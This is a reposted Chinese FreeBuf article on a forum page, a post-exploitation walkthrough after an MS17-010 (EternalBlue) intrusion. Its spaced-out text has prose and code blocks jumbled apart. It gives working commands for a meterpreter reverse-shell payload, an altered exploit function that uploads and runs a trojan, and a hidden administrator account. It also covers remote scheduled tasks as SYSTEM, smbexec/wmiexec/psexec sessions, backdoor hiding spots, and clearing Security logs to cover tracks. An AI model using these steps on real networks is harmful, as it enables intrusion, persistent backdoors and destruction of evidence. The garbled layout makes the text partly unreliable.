搜索

[14848] 2019-11-22_从永恒之蓝看后渗透

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2019-11-22_从永恒之蓝看后渗透 从 永 恒 之 蓝 看 后 渗 透 原 创   r a b b i t m a s k   F r e e B u f   2 0 1 9 - 1 1 - 2 2       我 们 今 天 的 故 事 ， 从 永 恒 之 蓝 开 始 ， 讲 述 如 何 在 内 网 中 如 何 悄 无 声 息 的 完 成 一 次 内 网 渗 透 ， 我 们 今 天 的 故 事 ， 从 永 恒 之 蓝 开 始 ， 讲 述 如 何 在 内 网 中 如 何 悄 无 声 息 的 完 成 一 次 内 网 渗 透 ， P T H 等 章 节 内 容 太 多 ， 后 续 跟 上 等 章 节 内 容 太 多 ， 后 续 跟 上 … … 背 景 背 景 我 们 通 过 跳 板 成 功 获 得 了 目 标 内 网 的 一 台 机 器 ， 发 现 目 标 网 络 拥 有 健 全 的 防 护 机 制 与 企 业 级 防 护 软 件 ， 扫 描 探 测 和 远 程 登 录 从 暴 露 的 风 险 角 度 自 然 是 不 被 允 许 的 ， 接 下 来 我 们 仅 借 助 永 恒 之 蓝 完 成 对 内 网 目 标 的 渗 透 攻 击 ， 只 需 要 跳 板 机 提 供 的 一 条 s o c k s 隧 道 即 可 。 首 先 从 轻 量 级 考 虑 ， 我 们 并 不 会 把 m s f 直 接 接 入 对 方 内 网 ， 这 里 推 荐 下 w o r a w i t 大 佬 的 p y t h o n 版 利 用 工 具 。 工 具 地 址 : h t t p s : / / g i t h u b . c o m / w o r a w i t / M S 1 7 - 0 1 0 管 道 探 测 管 道 探 测 我 们 接 下 来 以 一 台 目 标 为 例 ， 对 目 标 进 行 p o c 探 测 ： 该 工 具 利 用 基 础 为 管 道 开 放 ， 意 味 着 接 下 来 的 e x p 工 作 可 否 顺 利 开 展 。 程 序 执 行 程 序 执 行 接 下 来 对 木 马 做 好 免 杀 工 作 ， 可 以 说 C S 或 者 其 他 成 熟 木 马 ， 本 处 演 示 方 便 采 用 了 m s f 生 成 的 木 马 ： 变 更 如 下 e x p 函 数 ， 免 杀 处 理 后 发 送 木 马 到 目 标 指 定 目 录 并 执 行 ， 这 里 吐 槽 一 句 ， 网 上 的 攻 略 多 复 制 粘 贴 ， 为 什 么 都 带 着 作 者 的 d e m o ？ 在 C 盘 下 生 成 一 个 空 文 本 ， 好 好 读 读 代 码 ， 真 的 没 必 要 ： 脚 本 语 法 是 需 要 管 道 名 称 的 ， 如 不 指 定 则 自 动 选 择 ， 如 下 上 传 并 执 行 成 功 。 这 里 只 是 个 例 子 ， 运 行 的 是 什 么 由 你 决 定 ， 自 行 替 换 。 账 户 控 制 账 户 控 制 同 样 ， 使 用 z z z _ e x p l o i t . p y ， 函 数 变 更 如 下 新 增 账 户 ： I P C $ 连 接 连 接 I P C $ 在 内 网 渗 透 中 的 地 位 一 直 都 是 经 典 ， 我 们 在 来 回 顾 下 基 于 I P C 的 一 系 列 远 程 操 作 ： p y t h o n 2   c h e c k e r . p y   1 9 2 . 1 6 8 . 1 5 4 . 1 3 8 m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   l h o s t = 1 9 2 . 1 6 8 . 1 5 4 . 1 5 9   l p o r t = 4 4 4 4   - f   e x e   - o   r a b b i t . e x e d e f   s m b _ p w n ( c o n n ,   a r c h ) :         s m b C o n n   =   c o n n . g e t _ s m b c o n n e c t i o n ( )         s m b _ s e n d _ f i l e ( s m b C o n n ,   ' / h o m e / r a b b i t / r a b b i t . e x e ' ,   ' C ' ,   ' / U s e r s / P u b l i c / r a b b i t . e x e ' )         s e r v i c e _ e x e c ( c o n n ,   r ' c m d   / c     c : U s e r s P u b l i c r a b b i t . e x e ' )         p y t h o n   z z z _ e x p l o i t . p y   1 9 2 . 1 6 8 . 1 5 4 . 1 3 8 d e f   s m b _ p w n ( c o n n ,   a r c h ) :         s e r v i c e _ e x e c ( c o n n ,   r ' c m d   / c     n e t   u s e r   s h a d o w   1 q 2 w 3 e 4 r !   / a d d   &   n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   s h a d o w   / a d d ' ) # 建 立 i p c $ 连 接 n e t   u s e   1 9 2 . 1 6 8 . 1 5 . 1 8 0 i p c $   " 1 q 2 w 3 e 4 r ! "   / u s e r : r a b b i t m a s k # 断 开 全 部 连 接 n e t   u s e   *   / d e l   / y # 将 目 标 C 盘 映 射 到 本 地 的 z 盘 , 渗 透 测 试 一 定 不 要 做 这 个 n e t   u s e   z :   I P c $ ` # 把 本 地 文 件 复 制 到 目 标 主 机 的 共 享 目 录 c o p y   C : U s e r s R a b b i t M a s k D e s k t o p r a b b i t . e x e   1 9 2 . 1 6 8 . 1 5 . 1 8 0 C $ # 查 看 文 件 是 否 存 在 ： d i r   1 9 2 . 1 6 8 . 1 5 . 1 8 0 C $ r a b b i t . e x e # 远 程 增 加 定 时 任 务 ： a t   1 9 2 . 1 6 8 . 1 5 . 1 8 0   2 1 : 3 8 : 0 0   C : r a b b i t . e x e # 取 消 全 部 定 时 任 务 a t   1 9 2 . 1 6 8 . 1 5 . 1 8 0   / d e l e t e   / y # 查 看 当 前 定 时 任 务 a t   1 9 2 . 1 6 8 . 1 5 . 1 8 0
然 而 在 我 们 的 P C > w i n 7 版 本 时 ， 不 再 支 持 命 令 , 替 代 方 案 为 ： 目 录 选 择 目 录 选 择 为 什 么 要 单 独 拿 出 目 录 选 择 来 说 道 下 呢 ， 我 们 来 看 个 比 较 ， 首 先 是 a d m i n i s t r a t o r 权 限 看 到 的 C 盘 根 目 录 ： 然 后 我 们 通 过 木 马 的 提 升 的 s y s t e m 权 限 看 一 下 ： 可 以 看 到 其 中 有 几 个 目 录 是 用 户 看 不 到 的 ， 包 括 a d m i n i s t r a t o r ， 只 有 s y s t e m 拥 有 访 问 权 限 ， 这 里 就 是 后 门 最 佳 的 隐 藏 地 点 。 其 中 S y s t e m   V o l u m e   I n f o r m a t i o n 可 写 作 s y s t e m ~ 1 , 不 用 担 心 空 格 等 问 题 : 会 话 获 取 会 话 获 取 既 然 已 经 创 建 完 账 号 密 码 了 ， 想 直 接 执 行 命 令 的 话 i p c $ 其 实 并 不 太 方 便 ， 我 们 直 接 s m b 登 录 目 标 。 为 什 么 不 用 R D P ？ 我 也 问 过 同 样 的 问 题 ， 差 点 没 被 内 网 大 佬 喷 死 ， 有 些 场 合 R D P 确 实 风 险 极 大 ， 与 君 共 勉 。 这 里 安 利 个 p y t h o n 的 第 三 方 库 i m p a c k e t 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / S e c u r e A u t h C o r p / i m p a c k e t s m b e x e c 其 中 有 个 打 包 好 的 工 具 s m b e x e c ， 这 里 卖 个 关 子 ， 这 里 会 用 到 ， 后 边 讲 P T H 也 会 用 到 。 a t s c h t a s k s # 创 建 定 时 任 务 s c h t a s k s   / c r e a t e   / t n   " t e s t "   / t r   c : r a b b i t . e x e   / s c   o n c e   / s t   1 0 : 0 2   / S   1 9 2 . 1 6 8 . 1 5 . 1 8 1   / R U   S y s t e m     / u   r a b b i t m a s k   / p   " 1 q 2 w 3 e 4 r ! " # 查 看 当 前 定 时 任 务 ， 如 不 加 / t n   t e s t 则 查 看 全 部 s c h t a s k s   / Q u e r y   / t n   t e s t   / s   1 9 2 . 1 6 8 . 1 5 . 1 8 1   / u   r a b b i t m a s k   / p   1 q 2 w 3 e 4 r ! # 删 除 掉 刚 刚 增 加 的 定 时 任 务 s c h t a s k s   / D e l e t e   / t n   t e s t   / F   / s   1 9 2 . 1 6 8 . 1 5 . 1 8 1   / u   r a b b i t m a s k   / p   1 q 2 w 3 e 4 r ! # 参 数 解 释 / c r e a t e 表 示 创 建 计 划 任 务 / t n 表 示 任 务 名 / t r 指 定 运 行 的 文 件 / s c 是 任 务 运 行 频 率 / s t 是 执 行 时 间 / s 指 定 远 程 机 器 名 或 i p 地 址 / r u 指 定 运 行 任 务 的 用 户 权 限 ， 这 里 指 定 为 最 高 的 S Y S T E M # 查 看 远 程 目 标 进 程 列 表 ： t a s k l i s t   / s   1 9 2 . 1 6 8 . 1 5 . 1 8 0   / u   r a b b i t m a s k   / p   1 q 2 w 3 e 4 r ! # 杀 死 p i d 为 1 0 0 0 的 进 程 t a s k k i l l   / s   1 9 2 . 1 6 8 . 1 5 . 1 8 0   / f   / p i d   1 0 0 0 # 杀 死 名 为 r a b b i t . e x e 的 进 程 t a s k k i l l   / s   1 9 2 . 1 6 8 . 1 5 . 1 8 0   / f   / i m   r a b b i t . e x e p y t h o n   s m b e x e c . p y   r a b b i t m a s k : 1 q 2 w 3 e 4 r ! @ 1 9 2 . 1 6 8 . 1 5 . 1 8 1
这 里 我 们 已 成 功 通 过 s m b 登 录 目 标 ， 且 权 限 为 s y s t e m ， 因 为 它 的 原 理 是 创 建 服 务 运 行 ， 即 , 权 限 为 最 高 权 限 s y s t e m ， 最 后 建 议 退 出 方 式 e x i t ， 否 则 可 能 有 未 知 错 误 ， 尝 试 指 定 下 共 享 路 径 。 这 里 插 一 句 ， 共 享 路 径 是 指 的 即 逻 辑 共 享 ( ) 和 系 统 目 录 ( ) 共 享 ， 可 通 过 了 解 ： w m i e x e c 这 是 后 来 s m b e x e c 出 现 编 码 b u g ， 大 佬 推 荐 的 另 一 款 工 具 ， 同 属 i m p a c k e t 包 ， 他 的 使 用 需 要 调 用 w m i 服 务 ， 占 用 目 标 的 4 4 5 、 1 3 5 和 另 一 个 随 机 端 口 ， 而 s m b e x e c 只 使 用 4 4 5 端 口 ， 这 一 块 协 议 / 服 务 底 层 问 题 感 兴 趣 的 可 以 继 续 深 入 研 究 。 m s f _ p s e x e c 上 述 脚 本 在 应 对 某 些 目 标 机 是 可 能 存 在 命 令 编 码 问 题 ， 这 可 能 是 p y t h o n 环 境 导 致 的 ， 所 有 依 然 提 供 个 保 底 方 案 ， m s f 。 不 过 它 默 认 会 植 入 m e t e r p r e t e r 进 行 反 弹 s h e l l ！ 关 键 它 没 默 认 做 免 杀 ， 意 味 着 会 触 发 杀 软 ， 所 以 我 们 搁 到 最 后 保 底 ， 真 要 用 的 话 处 理 下 p a y l o a d ， 太 自 动 化 有 时 未 必 是 件 好 事 ， 与 其 相 信 谣 言 ， 不 如 自 己 思 考 下 为 什 么 在 这 里 笔 者 如 此 不 推 荐 笔 者 所 钟 爱 的 m s f 。 日 志 清 理 日 志 清 理 适 用 范 围 > = w i n 7 ， 我 们 的 操 作 主 要 存 在 于 安 全 日 志 ， 无 脑 全 清 的 话 如 下 即 可 ， 当 然 ， 单 条 删 除 日 志 不 嫌 麻 烦 的 话 亦 可 ， 奇 安 信 的 A - t e a m 好 像 还 有 一 款 日 志 进 程 k i l l 工 具 （ 渗 透 结 束 再 拉 起 ） ， 但 测 试 不 太 稳 定 ， 大 家 自 行 抉 择 。 w e v t u t i l   g l   s e c u r i t y 查 看 S E C U R I T Y 日 志 的 详 细 信 息 w e v t u t i l   c l   s e c u r i t y 清 空 S E C U R I T Y 日 志 同 理 可 操 作 其 他 日 志 ： A P P L I C A T I O N 、 S E T U P 、 S Y S T E M 、 F O R W A R D E D E V E N T S 。 就 这 样 ， 我 们 悄 无 声 息 的 在 目 标 机 逛 了 一 圈 安 全 撤 离 ， 并 留 下 了 永 久 后 门 ， 篇 幅 限 制 ， P T H 、 P T T 、 域 渗 透 等 内 容 不 做 展 开 ， 敬 请 期 待 。 * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： r a b b i t m a s k ， 本 文 属 于 ， 本 文 属 于 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 s c p y t h o n   s m b e x e c . p y   r a b b i t m a s k : 1 q 2 w 3 e 4 r ! @ 1 9 2 . 1 6 8 . 1 5 . 1 8 1   - s h a r e   a d m i n $ C $ , D $ , E $ … … A D M I N $ n e t   s h a r e p y t h o n   w m i e x e c . p y   r a b b i t m a s k : 1 q 2 w 3 e 4 r ! @ 1 9 2 . 1 6 8 . 1 5 . 1 8 1 u s e   e x p l o i t / w i n d o w s / s m b / p s e x e c s e t   r h o s t s   1 9 2 . 1 6 8 . 1 5 . 1 8 1 s e t   s m b u s e r   r a b b i t m a s k s e t   s m b p a s s   1 q 2 w 3 e 4 r !
精 彩 推 荐 精 彩 推 荐 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理